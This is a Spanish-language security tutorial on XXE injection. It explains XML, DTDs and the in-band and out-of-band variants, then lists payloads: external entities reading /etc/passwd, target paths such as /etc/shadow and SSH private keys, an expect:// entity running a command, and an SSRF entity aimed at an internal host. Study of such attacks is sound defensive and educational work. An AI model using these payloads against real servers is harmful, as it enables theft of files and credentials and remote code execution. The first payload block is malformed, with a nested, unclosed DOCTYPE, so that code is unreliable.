XXE - XML External Entitiy

¿Qué es y cómo funciona?

La inyección de entidad externa XML (también conocida como XXE) es una vulnerabilidad de seguridad web que permite a un atacante interferir con el procesamiento de datos XML de una aplicación. A menudo, permite que un atacante vea archivos en el sistema de archivos del servidor de aplicaciones e interactúe con cualquier sistema externo o de back-end al que pueda acceder la propia aplicación.

Esta vulnerabilidad tiene 2 tipos:

  • In-band XXE. Basicamente esta es la que el atacante recibe inmediatamente la respuesta del XXE Payload.

  • Out-of-band XXE. En cambio esta es muy parecida al XSS Blind, que quiere decir que no hay una respuesta inmediata en la aplicación web y el atacante tiene que reflejar el payload en otro archivo del sistema o en su propio servidor.

Para poder entender cómo funciona un XXE, primero tenemos que saber cómo funciona el XML (eXtensible Markup Language).

¿Qué es XML?

XML (Lenguaje de Marcado Extensible) es un lenguaje de marcado que define un conjunto de reglas para codificar documentos en un formato legible tanto por humanos como por máquinas. Es un lenguaje de marcado utilizado para almacenar y transportar datos.

¿Por qué usamos XML?

  1. XML es independiente de la plataforma y del lenguaje de programación, por lo tanto, se puede utilizar en cualquier sistema y es compatible con los cambios tecnológicos que puedan surgir.

  2. Los datos almacenados y transportados mediante XML pueden modificarse en cualquier momento sin afectar la presentación de los datos.

  3. XML permite la validación mediante DTD y Schema. Esta validación asegura que el documento XML esté libre de errores de sintaxis.

  4. XML simplifica el intercambio de datos entre distintos sistemas debido a su naturaleza independiente de la plataforma. Los datos en XML no requieren ninguna conversión al transferirse entre sistemas diferentes.

DTD (Document Type Definition)

DTD significa Definición de Tipo de Documento (Document Type Definition, en inglés). Un DTD define la estructura, elementos y atributos legales de un documento XML.

Vamos a intentar entender esto con la ayuda de un ejemplo. Supongamos que tenemos un archivo llamado note.dtd con el siguiente contenido:

<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

Ahora podemos utilizar este DTD para validar la información de un documento XML y asegurarnos de que el archivo XML cumple con las reglas de ese DTD.

Por ejemplo, a continuación se muestra un documento XML que utiliza note.dtd:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>j4ckie</to>
    <from>atacante</from>
    <heading>hacking</heading>
    <body>XXE attack</body>
</note>

En este ejemplo, el archivo XML sigue la estructura y los elementos definidos en el DTD note.dtd. Esto nos permite validar y garantizar que el documento XML cumpla con las reglas establecidas.

Ahora vamos a ver lo que DTD valida de XML. Viendo los temrinos usados en el note.dtd:

Directiva/Elemento
Descripción

!DOCTYPE note

Define un elemento raíz del documento llamado "note"

!ELEMENT note

Define que el elemento "note" debe contener los elementos: "to, from, heading, body"

!ELEMENT to

Define que el elemento "to" debe ser de tipo "#PCDATA"

!ELEMENT from

Define que el elemento "from" debe ser de tipo "#PCDATA"

!ELEMENT heading

Define que el elemento "heading" debe ser de tipo "#PCDATA"

!ELEMENT body

Define que el elemento "body" debe ser de tipo "#PCDATA"

!ENTITY

Define accesos rápidos a caracteres especiales

XXE Payload

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>&xxe;</root>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
# Esta es sin crear una entidad de 0 como arriba, sino que utilizamos una que ya existe
<post>
          <title>Payload</title>
          <description>Example Description</description>
          <markdown>&xxe;</markdown>
  </post>

Rutas comprobar

/etc/passwd
/etc/shadow
/home/$user/.ssh/id_rsa

Remote Code Execution

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
  [<!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
  <user>`&xxe;`</user>
  <pass>`mypass`</pass>
</creds>

XXE to SSRF

En este caso estaremos haciendo que la entidad externa no se refiera a un archivo del sistema interno como el /etc/passwd sino que haga una petición interna del servidor (127.0.0.1) que sería un SSRF (Server-Site Request Forgery)

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Last updated